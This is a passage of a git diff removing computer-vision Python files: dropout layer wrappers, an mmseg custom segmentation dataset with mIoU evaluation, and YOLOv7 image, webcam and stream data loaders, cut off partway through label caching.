-    # handle tensors with different dimensions, not just 4D tensors.
-    shape = (x.shape[0], ) + (1, ) * (x.ndim - 1)
-    random_tensor = keep_prob + torch.rand(
-        shape, dtype=x.dtype, device=x.device)
-    output = x.div(keep_prob) * random_tensor.floor()
-    return output
-
-
-@DROPOUT_LAYERS.register_module()
-class DropPath(nn.Module):
-    """Drop paths (Stochastic Depth) per sample  (when applied in main path of
-    residual blocks).
-
-    We follow the implementation
-    https://github.com/rwightman/pytorch-image-models/blob/a2727c1bf78ba0d7b5727f5f95e37fb7f8866b1f/timm/models/layers/drop.py  # noqa: E501
-
-    Args:
-        drop_prob (float): Probability of the path to be zeroed. Default: 0.1
-    """
-
-    def __init__(self, drop_prob=0.1):
-        super(DropPath, self).__init__()
-        self.drop_prob = drop_prob
-
-    def forward(self, x):
-        return drop_path(x, self.drop_prob, self.training)
-
-
-@DROPOUT_LAYERS.register_module()
-class Dropout(nn.Dropout):
-    """A wrapper for ``torch.nn.Dropout``, We rename the ``p`` of
-    ``torch.nn.Dropout`` to ``drop_prob`` so as to be consistent with
-    ``DropPath``
-
-    Args:
-        drop_prob (float): Probability of the elements to be
-            zeroed. Default: 0.5.
-        inplace (bool):  Do the operation inplace or not. Default: False.
-    """
-
-    def __init__(self, drop_prob=0.5, inplace=False):
-        super().__init__(p=drop_prob, inplace=inplace)
-
-
-def build_dropout(cfg, default_args=None):
-    """Builder for drop out layers."""
-    return build_from_cfg(cfg, DROPOUT_LAYERS, default_args)
diff --git a/spaces/Robert001/UniControl-Demo/annotator/uniformer_base/mmseg/datasets/custom.py b/spaces/Robert001/UniControl-Demo/annotator/uniformer_base/mmseg/datasets/custom.py
deleted file mode 100644
index 43fade7a2098422ee084a040e5514b4c4375b646..0000000000000000000000000000000000000000
--- a/spaces/Robert001/UniControl-Demo/annotator/uniformer_base/mmseg/datasets/custom.py
+++ /dev/null
@@ -1,412 +0,0 @@
-'''
- * Copyright (c) 2023 Salesforce, Inc.
- * All rights reserved.
- * SPDX-License-Identifier: Apache License 2.0
- * For full license text, see LICENSE.txt file in the repo root or http://www.apache.org/licenses/
- * By Can Qin
- * Modified from ControlNet repo: https://github.com/lllyasviel/ControlNet
- * Copyright (c) 2023 Lvmin Zhang and Maneesh Agrawala
- * Modified from MMCV repo: From https://github.com/open-mmlab/mmcv
- * Copyright (c) OpenMMLab. All rights reserved.
-'''
-
-import os
-import os.path as osp
-from collections import OrderedDict
-from functools import reduce
-
-import annotator.uniformer.mmcv as mmcv
-import numpy as np
-from annotator.uniformer.mmcv.utils import print_log
-from prettytable import PrettyTable
-from torch.utils.data import Dataset
-
-from annotator.uniformer.mmseg.core import eval_metrics
-from annotator.uniformer.mmseg.utils import get_root_logger
-from .builder import DATASETS
-from .pipelines import Compose
-
-
-@DATASETS.register_module()
-class CustomDataset(Dataset):
-    """Custom dataset for semantic segmentation. An example of file structure
-    is as followed.
-
-    .. code-block:: none
-
-        ├── data
-        │   ├── my_dataset
-        │   │   ├── img_dir
-        │   │   │   ├── train
-        │   │   │   │   ├── xxx{img_suffix}
-        │   │   │   │   ├── yyy{img_suffix}
-        │   │   │   │   ├── zzz{img_suffix}
-        │   │   │   ├── val
-        │   │   ├── ann_dir
-        │   │   │   ├── train
-        │   │   │   │   ├── xxx{seg_map_suffix}
-        │   │   │   │   ├── yyy{seg_map_suffix}
-        │   │   │   │   ├── zzz{seg_map_suffix}
-        │   │   │   ├── val
-
-    The img/gt_semantic_seg pair of CustomDataset should be of the same
-    except suffix. A valid img/gt_semantic_seg filename pair should be like
-    ``xxx{img_suffix}`` and ``xxx{seg_map_suffix}`` (extension is also included
-    in the suffix). If split is given, then ``xxx`` is specified in txt file.
-    Otherwise, all files in ``img_dir/``and ``ann_dir`` will be loaded.
-    Please refer to ``docs/tutorials/new_dataset.md`` for more details.
-
-
-    Args:
-        pipeline (list[dict]): Processing pipeline
-        img_dir (str): Path to image directory
-        img_suffix (str): Suffix of images. Default: '.jpg'
-        ann_dir (str, optional): Path to annotation directory. Default: None
-        seg_map_suffix (str): Suffix of segmentation maps. Default: '.png'
-        split (str, optional): Split txt file. If split is specified, only
-            file with suffix in the splits will be loaded. Otherwise, all
-            images in img_dir/ann_dir will be loaded. Default: None
-        data_root (str, optional): Data root for img_dir/ann_dir. Default:
-            None.
-        test_mode (bool): If test_mode=True, gt wouldn't be loaded.
-        ignore_index (int): The label index to be ignored. Default: 255
-        reduce_zero_label (bool): Whether to mark label zero as ignored.
-            Default: False
-        classes (str | Sequence[str], optional): Specify classes to load.
-            If is None, ``cls.CLASSES`` will be used. Default: None.
-        palette (Sequence[Sequence[int]]] | np.ndarray | None):
-            The palette of segmentation map. If None is given, and
-            self.PALETTE is None, random palette will be generated.
-            Default: None
-    """
-
-    CLASSES = None
-
-    PALETTE = None
-
-    def __init__(self,
-                 pipeline,
-                 img_dir,
-                 img_suffix='.jpg',
-                 ann_dir=None,
-                 seg_map_suffix='.png',
-                 split=None,
-                 data_root=None,
-                 test_mode=False,
-                 ignore_index=255,
-                 reduce_zero_label=False,
-                 classes=None,
-                 palette=None):
-        self.pipeline = Compose(pipeline)
-        self.img_dir = img_dir
-        self.img_suffix = img_suffix
-        self.ann_dir = ann_dir
-        self.seg_map_suffix = seg_map_suffix
-        self.split = split
-        self.data_root = data_root
-        self.test_mode = test_mode
-        self.ignore_index = ignore_index
-        self.reduce_zero_label = reduce_zero_label
-        self.label_map = None
-        self.CLASSES, self.PALETTE = self.get_classes_and_palette(
-            classes, palette)
-
-        # join paths if data_root is specified
-        if self.data_root is not None:
-            if not osp.isabs(self.img_dir):
-                self.img_dir = osp.join(self.data_root, self.img_dir)
-            if not (self.ann_dir is None or osp.isabs(self.ann_dir)):
-                self.ann_dir = osp.join(self.data_root, self.ann_dir)
-            if not (self.split is None or osp.isabs(self.split)):
-                self.split = osp.join(self.data_root, self.split)
-
-        # load annotations
-        self.img_infos = self.load_annotations(self.img_dir, self.img_suffix,
-                                               self.ann_dir,
-                                               self.seg_map_suffix, self.split)
-
-    def __len__(self):
-        """Total number of samples of data."""
-        return len(self.img_infos)
-
-    def load_annotations(self, img_dir, img_suffix, ann_dir, seg_map_suffix,
-                         split):
-        """Load annotation from directory.
-
-        Args:
-            img_dir (str): Path to image directory
-            img_suffix (str): Suffix of images.
-            ann_dir (str|None): Path to annotation directory.
-            seg_map_suffix (str|None): Suffix of segmentation maps.
-            split (str|None): Split txt file. If split is specified, only file
-                with suffix in the splits will be loaded. Otherwise, all images
-                in img_dir/ann_dir will be loaded. Default: None
-
-        Returns:
-            list[dict]: All image info of dataset.
-        """
-
-        img_infos = []
-        if split is not None:
-            with open(split) as f:
-                for line in f:
-                    img_name = line.strip()
-                    img_info = dict(filename=img_name + img_suffix)
-                    if ann_dir is not None:
-                        seg_map = img_name + seg_map_suffix
-                        img_info['ann'] = dict(seg_map=seg_map)
-                    img_infos.append(img_info)
-        else:
-            for img in mmcv.scandir(img_dir, img_suffix, recursive=True):
-                img_info = dict(filename=img)
-                if ann_dir is not None:
-                    seg_map = img.replace(img_suffix, seg_map_suffix)
-                    img_info['ann'] = dict(seg_map=seg_map)
-                img_infos.append(img_info)
-
-        print_log(f'Loaded {len(img_infos)} images', logger=get_root_logger())
-        return img_infos
-
-    def get_ann_info(self, idx):
-        """Get annotation by index.
-
-        Args:
-            idx (int): Index of data.
-
-        Returns:
-            dict: Annotation info of specified index.
-        """
-
-        return self.img_infos[idx]['ann']
-
-    def pre_pipeline(self, results):
-        """Prepare results dict for pipeline."""
-        results['seg_fields'] = []
-        results['img_prefix'] = self.img_dir
-        results['seg_prefix'] = self.ann_dir
-        if self.custom_classes:
-            results['label_map'] = self.label_map
-
-    def __getitem__(self, idx):
-        """Get training/test data after pipeline.
-
-        Args:
-            idx (int): Index of data.
-
-        Returns:
-            dict: Training/test data (with annotation if `test_mode` is set
-                False).
-        """
-
-        if self.test_mode:
-            return self.prepare_test_img(idx)
-        else:
-            return self.prepare_train_img(idx)
-
-    def prepare_train_img(self, idx):
-        """Get training data and annotations after pipeline.
-
-        Args:
-            idx (int): Index of data.
-
-        Returns:
-            dict: Training data and annotation after pipeline with new keys
-                introduced by pipeline.
-        """
-
-        img_info = self.img_infos[idx]
-        ann_info = self.get_ann_info(idx)
-        results = dict(img_info=img_info, ann_info=ann_info)
-        self.pre_pipeline(results)
-        return self.pipeline(results)
-
-    def prepare_test_img(self, idx):
-        """Get testing data after pipeline.
-
-        Args:
-            idx (int): Index of data.
-
-        Returns:
-            dict: Testing data after pipeline with new keys introduced by
-                pipeline.
-        """
-
-        img_info = self.img_infos[idx]
-        results = dict(img_info=img_info)
-        self.pre_pipeline(results)
-        return self.pipeline(results)
-
-    def format_results(self, results, **kwargs):
-        """Place holder to format result to dataset specific output."""
-
-    def get_gt_seg_maps(self, efficient_test=False):
-        """Get ground truth segmentation maps for evaluation."""
-        gt_seg_maps = []
-        for img_info in self.img_infos:
-            seg_map = osp.join(self.ann_dir, img_info['ann']['seg_map'])
-            if efficient_test:
-                gt_seg_map = seg_map
-            else:
-                gt_seg_map = mmcv.imread(
-                    seg_map, flag='unchanged', backend='pillow')
-            gt_seg_maps.append(gt_seg_map)
-        return gt_seg_maps
-
-    def get_classes_and_palette(self, classes=None, palette=None):
-        """Get class names of current dataset.
-
-        Args:
-            classes (Sequence[str] | str | None): If classes is None, use
-                default CLASSES defined by builtin dataset. If classes is a
-                string, take it as a file name. The file contains the name of
-                classes where each line contains one class name. If classes is
-                a tuple or list, override the CLASSES defined by the dataset.
-            palette (Sequence[Sequence[int]]] | np.ndarray | None):
-                The palette of segmentation map. If None is given, random
-                palette will be generated. Default: None
-        """
-        if classes is None:
-            self.custom_classes = False
-            return self.CLASSES, self.PALETTE
-
-        self.custom_classes = True
-        if isinstance(classes, str):
-            # take it as a file path
-            class_names = mmcv.list_from_file(classes)
-        elif isinstance(classes, (tuple, list)):
-            class_names = classes
-        else:
-            raise ValueError(f'Unsupported type {type(classes)} of classes.')
-
-        if self.CLASSES:
-            if not set(classes).issubset(self.CLASSES):
-                raise ValueError('classes is not a subset of CLASSES.')
-
-            # dictionary, its keys are the old label ids and its values
-            # are the new label ids.
-            # used for changing pixel labels in load_annotations.
-            self.label_map = {}
-            for i, c in enumerate(self.CLASSES):
-                if c not in class_names:
-                    self.label_map[i] = -1
-                else:
-                    self.label_map[i] = classes.index(c)
-
-        palette = self.get_palette_for_custom_classes(class_names, palette)
-
-        return class_names, palette
-
-    def get_palette_for_custom_classes(self, class_names, palette=None):
-
-        if self.label_map is not None:
-            # return subset of palette
-            palette = []
-            for old_id, new_id in sorted(
-                    self.label_map.items(), key=lambda x: x[1]):
-                if new_id != -1:
-                    palette.append(self.PALETTE[old_id])
-            palette = type(self.PALETTE)(palette)
-
-        elif palette is None:
-            if self.PALETTE is None:
-                palette = np.random.randint(0, 255, size=(len(class_names), 3))
-            else:
-                palette = self.PALETTE
-
-        return palette
-
-    def evaluate(self,
-                 results,
-                 metric='mIoU',
-                 logger=None,
-                 efficient_test=False,
-                 **kwargs):
-        """Evaluate the dataset.
-
-        Args:
-            results (list): Testing results of the dataset.
-            metric (str | list[str]): Metrics to be evaluated. 'mIoU',
-                'mDice' and 'mFscore' are supported.
-            logger (logging.Logger | None | str): Logger used for printing
-                related information during evaluation. Default: None.
-
-        Returns:
-            dict[str, float]: Default metrics.
-        """
-
-        if isinstance(metric, str):
-            metric = [metric]
-        allowed_metrics = ['mIoU', 'mDice', 'mFscore']
-        if not set(metric).issubset(set(allowed_metrics)):
-            raise KeyError('metric {} is not supported'.format(metric))
-        eval_results = {}
-        gt_seg_maps = self.get_gt_seg_maps(efficient_test)
-        if self.CLASSES is None:
-            num_classes = len(
-                reduce(np.union1d, [np.unique(_) for _ in gt_seg_maps]))
-        else:
-            num_classes = len(self.CLASSES)
-        ret_metrics = eval_metrics(
-            results,
-            gt_seg_maps,
-            num_classes,
-            self.ignore_index,
-            metric,
-            label_map=self.label_map,
-            reduce_zero_label=self.reduce_zero_label)
-
-        if self.CLASSES is None:
-            class_names = tuple(range(num_classes))
-        else:
-            class_names = self.CLASSES
-
-        # summary table
-        ret_metrics_summary = OrderedDict({
-            ret_metric: np.round(np.nanmean(ret_metric_value) * 100, 2)
-            for ret_metric, ret_metric_value in ret_metrics.items()
-        })
-
-        # each class table
-        ret_metrics.pop('aAcc', None)
-        ret_metrics_class = OrderedDict({
-            ret_metric: np.round(ret_metric_value * 100, 2)
-            for ret_metric, ret_metric_value in ret_metrics.items()
-        })
-        ret_metrics_class.update({'Class': class_names})
-        ret_metrics_class.move_to_end('Class', last=False)
-
-        # for logger
-        class_table_data = PrettyTable()
-        for key, val in ret_metrics_class.items():
-            class_table_data.add_column(key, val)
-
-        summary_table_data = PrettyTable()
-        for key, val in ret_metrics_summary.items():
-            if key == 'aAcc':
-                summary_table_data.add_column(key, [val])
-            else:
-                summary_table_data.add_column('m' + key, [val])
-
-        print_log('per class results:', logger)
-        print_log('\n' + class_table_data.get_string(), logger=logger)
-        print_log('Summary:', logger)
-        print_log('\n' + summary_table_data.get_string(), logger=logger)
-
-        # each metric dict
-        for key, value in ret_metrics_summary.items():
-            if key == 'aAcc':
-                eval_results[key] = value / 100.0
-            else:
-                eval_results['m' + key] = value / 100.0
-
-        ret_metrics_class.pop('Class', None)
-        for key, value in ret_metrics_class.items():
-            eval_results.update({
-                key + '.' + str(name): value[idx] / 100.0
-                for idx, name in enumerate(class_names)
-            })
-
-        if mmcv.is_list_of(results, str):
-            for file_name in results:
-                os.remove(file_name)
-        return eval_results
diff --git a/spaces/Sa-m/Vehicles-Detection-Custom-YoloV7/utils/datasets.py b/spaces/Sa-m/Vehicles-Detection-Custom-YoloV7/utils/datasets.py
deleted file mode 100644
index b6bb8b02aa706c7ea8536665d908b417134fcd0f..0000000000000000000000000000000000000000
--- a/spaces/Sa-m/Vehicles-Detection-Custom-YoloV7/utils/datasets.py
+++ /dev/null
@@ -1,1320 +0,0 @@
-# Dataset utils and dataloaders
-
-import glob
-import logging
-import math
-import os
-import random
-import shutil
-import time
-from itertools import repeat
-from multiprocessing.pool import ThreadPool
-from pathlib import Path
-from threading import Thread
-
-import cv2
-import numpy as np
-import torch
-import torch.nn.functional as F
-from PIL import Image, ExifTags
-from torch.utils.data import Dataset
-from tqdm import tqdm
-
-import pickle
-from copy import deepcopy
-#from pycocotools import mask as maskUtils
-from torchvision.utils import save_image
-from torchvision.ops import roi_pool, roi_align, ps_roi_pool, ps_roi_align
-
-from utils.general import check_requirements, xyxy2xywh, xywh2xyxy, xywhn2xyxy, xyn2xy, segment2box, segments2boxes, \
-    resample_segments, clean_str
-from utils.torch_utils import torch_distributed_zero_first
-
-# Parameters
-help_url = 'https://github.com/ultralytics/yolov5/wiki/Train-Custom-Data'
-img_formats = ['bmp', 'jpg', 'jpeg', 'png', 'tif', 'tiff', 'dng', 'webp', 'mpo']  # acceptable image suffixes
-vid_formats = ['mov', 'avi', 'mp4', 'mpg', 'mpeg', 'm4v', 'wmv', 'mkv']  # acceptable video suffixes
-logger = logging.getLogger(__name__)
-
-# Get orientation exif tag
-for orientation in ExifTags.TAGS.keys():
-    if ExifTags.TAGS[orientation] == 'Orientation':
-        break
-
-
-def get_hash(files):
-    # Returns a single hash value of a list of files
-    return sum(os.path.getsize(f) for f in files if os.path.isfile(f))
-
-
-def exif_size(img):
-    # Returns exif-corrected PIL size
-    s = img.size  # (width, height)
-    try:
-        rotation = dict(img._getexif().items())[orientation]
-        if rotation == 6:  # rotation 270
-            s = (s[1], s[0])
-        elif rotation == 8:  # rotation 90
-            s = (s[1], s[0])
-    except:
-        pass
-
-    return s
-
-
-def create_dataloader(path, imgsz, batch_size, stride, opt, hyp=None, augment=False, cache=False, pad=0.0, rect=False,
-                      rank=-1, world_size=1, workers=8, image_weights=False, quad=False, prefix=''):
-    # Make sure only the first process in DDP process the dataset first, and the following others can use the cache
-    with torch_distributed_zero_first(rank):
-        dataset = LoadImagesAndLabels(path, imgsz, batch_size,
-                                      augment=augment,  # augment images
-                                      hyp=hyp,  # augmentation hyperparameters
-                                      rect=rect,  # rectangular training
-                                      cache_images=cache,
-                                      single_cls=opt.single_cls,
-                                      stride=int(stride),
-                                      pad=pad,
-                                      image_weights=image_weights,
-                                      prefix=prefix)
-
-    batch_size = min(batch_size, len(dataset))
-    nw = min([os.cpu_count() // world_size, batch_size if batch_size > 1 else 0, workers])  # number of workers
-    sampler = torch.utils.data.distributed.DistributedSampler(dataset) if rank != -1 else None
-    loader = torch.utils.data.DataLoader if image_weights else InfiniteDataLoader
-    # Use torch.utils.data.DataLoader() if dataset.properties will update during training else InfiniteDataLoader()
-    dataloader = loader(dataset,
-                        batch_size=batch_size,
-                        num_workers=nw,
-                        sampler=sampler,
-                        pin_memory=True,
-                        collate_fn=LoadImagesAndLabels.collate_fn4 if quad else LoadImagesAndLabels.collate_fn)
-    return dataloader, dataset
-
-
-class InfiniteDataLoader(torch.utils.data.dataloader.DataLoader):
-    """ Dataloader that reuses workers
-
-    Uses same syntax as vanilla DataLoader
-    """
-
-    def __init__(self, *args, **kwargs):
-        super().__init__(*args, **kwargs)
-        object.__setattr__(self, 'batch_sampler', _RepeatSampler(self.batch_sampler))
-        self.iterator = super().__iter__()
-
-    def __len__(self):
-        return len(self.batch_sampler.sampler)
-
-    def __iter__(self):
-        for i in range(len(self)):
-            yield next(self.iterator)
-
-
-class _RepeatSampler(object):
-    """ Sampler that repeats forever
-
-    Args:
-        sampler (Sampler)
-    """
-
-    def __init__(self, sampler):
-        self.sampler = sampler
-
-    def __iter__(self):
-        while True:
-            yield from iter(self.sampler)
-
-
-class LoadImages:  # for inference
-    def __init__(self, path, img_size=640, stride=32):
-        p = str(Path(path).absolute())  # os-agnostic absolute path
-        if '*' in p:
-            files = sorted(glob.glob(p, recursive=True))  # glob
-        elif os.path.isdir(p):
-            files = sorted(glob.glob(os.path.join(p, '*.*')))  # dir
-        elif os.path.isfile(p):
-            files = [p]  # files
-        else:
-            raise Exception(f'ERROR: {p} does not exist')
-
-        images = [x for x in files if x.split('.')[-1].lower() in img_formats]
-        videos = [x for x in files if x.split('.')[-1].lower() in vid_formats]
-        ni, nv = len(images), len(videos)
-
-        self.img_size = img_size
-        self.stride = stride
-        self.files = images + videos
-        self.nf = ni + nv  # number of files
-        self.video_flag = [False] * ni + [True] * nv
-        self.mode = 'image'
-        if any(videos):
-            self.new_video(videos[0])  # new video
-        else:
-            self.cap = None
-        assert self.nf > 0, f'No images or videos found in {p}. ' \
-                            f'Supported formats are:\nimages: {img_formats}\nvideos: {vid_formats}'
-
-    def __iter__(self):
-        self.count = 0
-        return self
-
-    def __next__(self):
-        if self.count == self.nf:
-            raise StopIteration
-        path = self.files[self.count]
-
-        if self.video_flag[self.count]:
-            # Read video
-            self.mode = 'video'
-            ret_val, img0 = self.cap.read()
-            if not ret_val:
-                self.count += 1
-                self.cap.release()
-                if self.count == self.nf:  # last video
-                    raise StopIteration
-                else:
-                    path = self.files[self.count]
-                    self.new_video(path)
-                    ret_val, img0 = self.cap.read()
-
-            self.frame += 1
-            print(f'video {self.count + 1}/{self.nf} ({self.frame}/{self.nframes}) {path}: ', end='')
-
-        else:
-            # Read image
-            self.count += 1
-            img0 = cv2.imread(path)  # BGR
-            assert img0 is not None, 'Image Not Found ' + path
-            #print(f'image {self.count}/{self.nf} {path}: ', end='')
-
-        # Padded resize
-        img = letterbox(img0, self.img_size, stride=self.stride)[0]
-
-        # Convert
-        img = img[:, :, ::-1].transpose(2, 0, 1)  # BGR to RGB, to 3x416x416
-        img = np.ascontiguousarray(img)
-
-        return path, img, img0, self.cap
-
-    def new_video(self, path):
-        self.frame = 0
-        self.cap = cv2.VideoCapture(path)
-        self.nframes = int(self.cap.get(cv2.CAP_PROP_FRAME_COUNT))
-
-    def __len__(self):
-        return self.nf  # number of files
-
-
-class LoadWebcam:  # for inference
-    def __init__(self, pipe='0', img_size=640, stride=32):
-        self.img_size = img_size
-        self.stride = stride
-
-        if pipe.isnumeric():
-            pipe = eval(pipe)  # local camera
-        # pipe = 'rtsp://192.168.1.64/1'  # IP camera
-        # pipe = 'rtsp://username:password@192.168.1.64/1'  # IP camera with login
-        # pipe = 'http://wmccpinetop.axiscam.net/mjpg/video.mjpg'  # IP golf camera
-
-        self.pipe = pipe
-        self.cap = cv2.VideoCapture(pipe)  # video capture object
-        self.cap.set(cv2.CAP_PROP_BUFFERSIZE, 3)  # set buffer size
-
-    def __iter__(self):
-        self.count = -1
-        return self
-
-    def __next__(self):
-        self.count += 1
-        if cv2.waitKey(1) == ord('q'):  # q to quit
-            self.cap.release()
-            cv2.destroyAllWindows()
-            raise StopIteration
-
-        # Read frame
-        if self.pipe == 0:  # local camera
-            ret_val, img0 = self.cap.read()
-            img0 = cv2.flip(img0, 1)  # flip left-right
-        else:  # IP camera
-            n = 0
-            while True:
-                n += 1
-                self.cap.grab()
-                if n % 30 == 0:  # skip frames
-                    ret_val, img0 = self.cap.retrieve()
-                    if ret_val:
-                        break
-
-        # Print
-        assert ret_val, f'Camera Error {self.pipe}'
-        img_path = 'webcam.jpg'
-        print(f'webcam {self.count}: ', end='')
-
-        # Padded resize
-        img = letterbox(img0, self.img_size, stride=self.stride)[0]
-
-        # Convert
-        img = img[:, :, ::-1].transpose(2, 0, 1)  # BGR to RGB, to 3x416x416
-        img = np.ascontiguousarray(img)
-
-        return img_path, img, img0, None
-
-    def __len__(self):
-        return 0
-
-
-class LoadStreams:  # multiple IP or RTSP cameras
-    def __init__(self, sources='streams.txt', img_size=640, stride=32):
-        self.mode = 'stream'
-        self.img_size = img_size
-        self.stride = stride
-
-        if os.path.isfile(sources):
-            with open(sources, 'r') as f:
-                sources = [x.strip() for x in f.read().strip().splitlines() if len(x.strip())]
-        else:
-            sources = [sources]
-
-        n = len(sources)
-        self.imgs = [None] * n
-        self.sources = [clean_str(x) for x in sources]  # clean source names for later
-        for i, s in enumerate(sources):
-            # Start the thread to read frames from the video stream
-            print(f'{i + 1}/{n}: {s}... ', end='')
-            url = eval(s) if s.isnumeric() else s
-            if 'youtube.com/' in str(url) or 'youtu.be/' in str(url):  # if source is YouTube video
-                check_requirements(('pafy', 'youtube_dl'))
-                import pafy
-                url = pafy.new(url).getbest(preftype="mp4").url
-            cap = cv2.VideoCapture(url)
-            assert cap.isOpened(), f'Failed to open {s}'
-            w = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))
-            h = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))
-            self.fps = cap.get(cv2.CAP_PROP_FPS) % 100
-
-            _, self.imgs[i] = cap.read()  # guarantee first frame
-            thread = Thread(target=self.update, args=([i, cap]), daemon=True)
-            print(f' success ({w}x{h} at {self.fps:.2f} FPS).')
-            thread.start()
-        print('')  # newline
-
-        # check for common shapes
-        s = np.stack([letterbox(x, self.img_size, stride=self.stride)[0].shape for x in self.imgs], 0)  # shapes
-        self.rect = np.unique(s, axis=0).shape[0] == 1  # rect inference if all shapes equal
-        if not self.rect:
-            print('WARNING: Different stream shapes detected. For optimal performance supply similarly-shaped streams.')
-
-    def update(self, index, cap):
-        # Read next stream frame in a daemon thread
-        n = 0
-        while cap.isOpened():
-            n += 1
-            # _, self.imgs[index] = cap.read()
-            cap.grab()
-            if n == 4:  # read every 4th frame
-                success, im = cap.retrieve()
-                self.imgs[index] = im if success else self.imgs[index] * 0
-                n = 0
-            time.sleep(1 / self.fps)  # wait time
-
-    def __iter__(self):
-        self.count = -1
-        return self
-
-    def __next__(self):
-        self.count += 1
-        img0 = self.imgs.copy()
-        if cv2.waitKey(1) == ord('q'):  # q to quit
-            cv2.destroyAllWindows()
-            raise StopIteration
-
-        # Letterbox
-        img = [letterbox(x, self.img_size, auto=self.rect, stride=self.stride)[0] for x in img0]
-
-        # Stack
-        img = np.stack(img, 0)
-
-        # Convert
-        img = img[:, :, :, ::-1].transpose(0, 3, 1, 2)  # BGR to RGB, to bsx3x416x416
-        img = np.ascontiguousarray(img)
-
-        return self.sources, img, img0, None
-
-    def __len__(self):
-        return 0  # 1E12 frames = 32 streams at 30 FPS for 30 years
-
-
-def img2label_paths(img_paths):
-    # Define label paths as a function of image paths
-    sa, sb = os.sep + 'images' + os.sep, os.sep + 'labels' + os.sep  # /images/, /labels/ substrings
-    return ['txt'.join(x.replace(sa, sb, 1).rsplit(x.split('.')[-1], 1)) for x in img_paths]
-
-
-class LoadImagesAndLabels(Dataset):  # for training/testing
-    def __init__(self, path, img_size=640, batch_size=16, augment=False, hyp=None, rect=False, image_weights=False,
-                 cache_images=False, single_cls=False, stride=32, pad=0.0, prefix=''):
-        self.img_size = img_size
-        self.augment = augment
-        self.hyp = hyp
-        self.image_weights = image_weights
-        self.rect = False if image_weights else rect
-        self.mosaic = self.augment and not self.rect  # load 4 images at a time into a mosaic (only during training)
-        self.mosaic_border = [-img_size // 2, -img_size // 2]
-        self.stride = stride
-        self.path = path        
-        #self.albumentations = Albumentations() if augment else None
-
-        try:
-            f = []  # image files
-            for p in path if isinstance(path, list) else [path]:
-                p = Path(p)  # os-agnostic
-                if p.is_dir():  # dir
-                    f += glob.glob(str(p / '**' / '*.*'), recursive=True)
-                    # f = list(p.rglob('**/*.*'))  # pathlib
-                elif p.is_file():  # file
-                    with open(p, 'r') as t:
-                        t = t.read().strip().splitlines()
-                        parent = str(p.parent) + os.sep
-                        f += [x.replace('./', parent) if x.startswith('./') else x for x in t]  # local to global path
-                        # f += [p.parent / x.lstrip(os.sep) for x in t]  # local to global path (pathlib)
-                else:
-                    raise Exception(f'{prefix}{p} does not exist')
-            self.img_files = sorted([x.replace('/', os.sep) for x in f if x.split('.')[-1].lower() in img_formats])
-            # self.img_files = sorted([x for x in f if x.suffix[1:].lower() in img_formats])  # pathlib
-            assert self.img_files, f'{prefix}No images found'
-        except Exception as e:
-            raise Exception(f'{prefix}Error loading data from {path}: {e}\nSee {help_url}')
-
-        # Check cache
-        self.label_files = img2label_paths(self.img_files)  # labels
-        cache_path = (p if p.is_file() else Path(self.label_files[0]).parent).with_suffix('.cache')  # cached labels
-        if cache_path.is_file():
-            cache, exists = torch.load(cache_path), True  # load
-            #if cache['hash'] != get_hash(self.label_files + self.img_files) or 'version' not in cache:  # changed
-            #    cache, exists = self.cache_labels(cache_path, prefix), False  # re-cache
-        else:
-            cache, exists = self.cache_labels(cache_path, prefix), False  # cache
-
-        # Display cache
-        nf, nm, ne, nc, n = cache.pop('results')  # found, missing, empty, corrupted, total
-        if exists:
-            d = f"Scanning '{cache_path}' images and labels... {nf} found, {nm} missing, {ne} empty, {nc} corrupted"
-            tqdm(None, desc=prefix + d, total=n, initial=n)  # display cache results
-        assert nf > 0 or not augment, f'{prefix}No labels in {cache_path}. Can not train without labels. See {help_url}'
-
-        # Read cache
-        cache.pop('hash')  # remove hash
-        cache.pop('version')  # remove version
-        labels, shapes, self.segments = zip(*cache.values())
-        self.labels = list(labels)
-        self.shapes = np.array(shapes, dtype=np.float64)
-        self.img_files = list(cache.keys())  # update
-        self.label_files = img2label_paths(cache.keys())  # update
-        if single_cls:
-            for x in self.labels:
-                x[:, 0] = 0
-
-        n = len(shapes)  # number of images
-        bi = np.floor(np.arange(n) / batch_size).astype(np.int)  # batch index
-        nb = bi[-1] + 1  # number of batches
-        self.batch = bi  # batch index of image
-        self.n = n
-        self.indices = range(n)
-
-        # Rectangular Training
-        if self.rect:
-            # Sort by aspect ratio
-            s = self.shapes  # wh
-            ar = s[:, 1] / s[:, 0]  # aspect ratio
-            irect = ar.argsort()
-            self.img_files = [self.img_files[i] for i in irect]
-            self.label_files = [self.label_files[i] for i in irect]
-            self.labels = [self.labels[i] for i in irect]
-            self.shapes = s[irect]  # wh
-            ar = ar[irect]
-
-            # Set training image shapes
-            shapes = [[1, 1]] * nb
-            for i in range(nb):
-                ari = ar[bi == i]
-                mini, maxi = ari.min(), ari.max()
-                if maxi < 1:
-                    shapes[i] = [maxi, 1]
-                elif mini > 1:
-                    shapes[i] = [1, 1 / mini]
-
-            self.batch_shapes = np.ceil(np.array(shapes) * img_size / stride + pad).astype(np.int) * stride
-
-        # Cache images into memory for faster training (WARNING: large datasets may exceed system RAM)
-        self.imgs = [None] * n
-        if cache_images:
-            if cache_images == 'disk':
-                self.im_cache_dir = Path(Path(self.img_files[0]).parent.as_posix() + '_npy')
-                self.img_npy = [self.im_cache_dir / Path(f).with_suffix('.npy').name for f in self.img_files]
-                self.im_cache_dir.mkdir(parents=True, exist_ok=True)
-            gb = 0  # Gigabytes of cached images
-            self.img_hw0, self.img_hw = [None] * n, [None] * n
-            results = ThreadPool(8).imap(lambda x: load_image(*x), zip(repeat(self), range(n)))
-            pbar = tqdm(enumerate(results), total=n)
-            for i, x in pbar:
-                if cache_images == 'disk':
-                    if not self.img_npy[i].exists():
-                        np.save(self.img_npy[i].as_posix(), x[0])
-                    gb += self.img_npy[i].stat().st_size
-                else:
-                    self.imgs[i], self.img_hw0[i], self.img_hw[i] = x
-                    gb += self.imgs[i].nbytes
-                pbar.desc = f'{prefix}Caching images ({gb / 1E9:.1f}GB)'
-            pbar.close()
-
-    def cache_labels(self, path=Path('./labels.cache'), prefix=''):
-        # Cache dataset labels, check images and read shapes
-        x = {}  # dict
-        nm, nf, ne, nc = 0, 0, 0, 0  # number missing, found, empty, duplicate
-        pbar = tqdm(zip(self.img_files, self.label_files), desc='Scanning images', total=len(self.img_files))
-        for i, (im_file, lb_file) in enumerate(pbar):
-            try:
-                # verify images
-                im = Image.open(im_file)
-                im.verify()  # PIL verify
-                shape = exif_size(im)  # image size
-                segments = []  # instance segments
-                assert (shape[0] > 9) & (shape[1] > 9), f'image size {shape} <10 pixels'
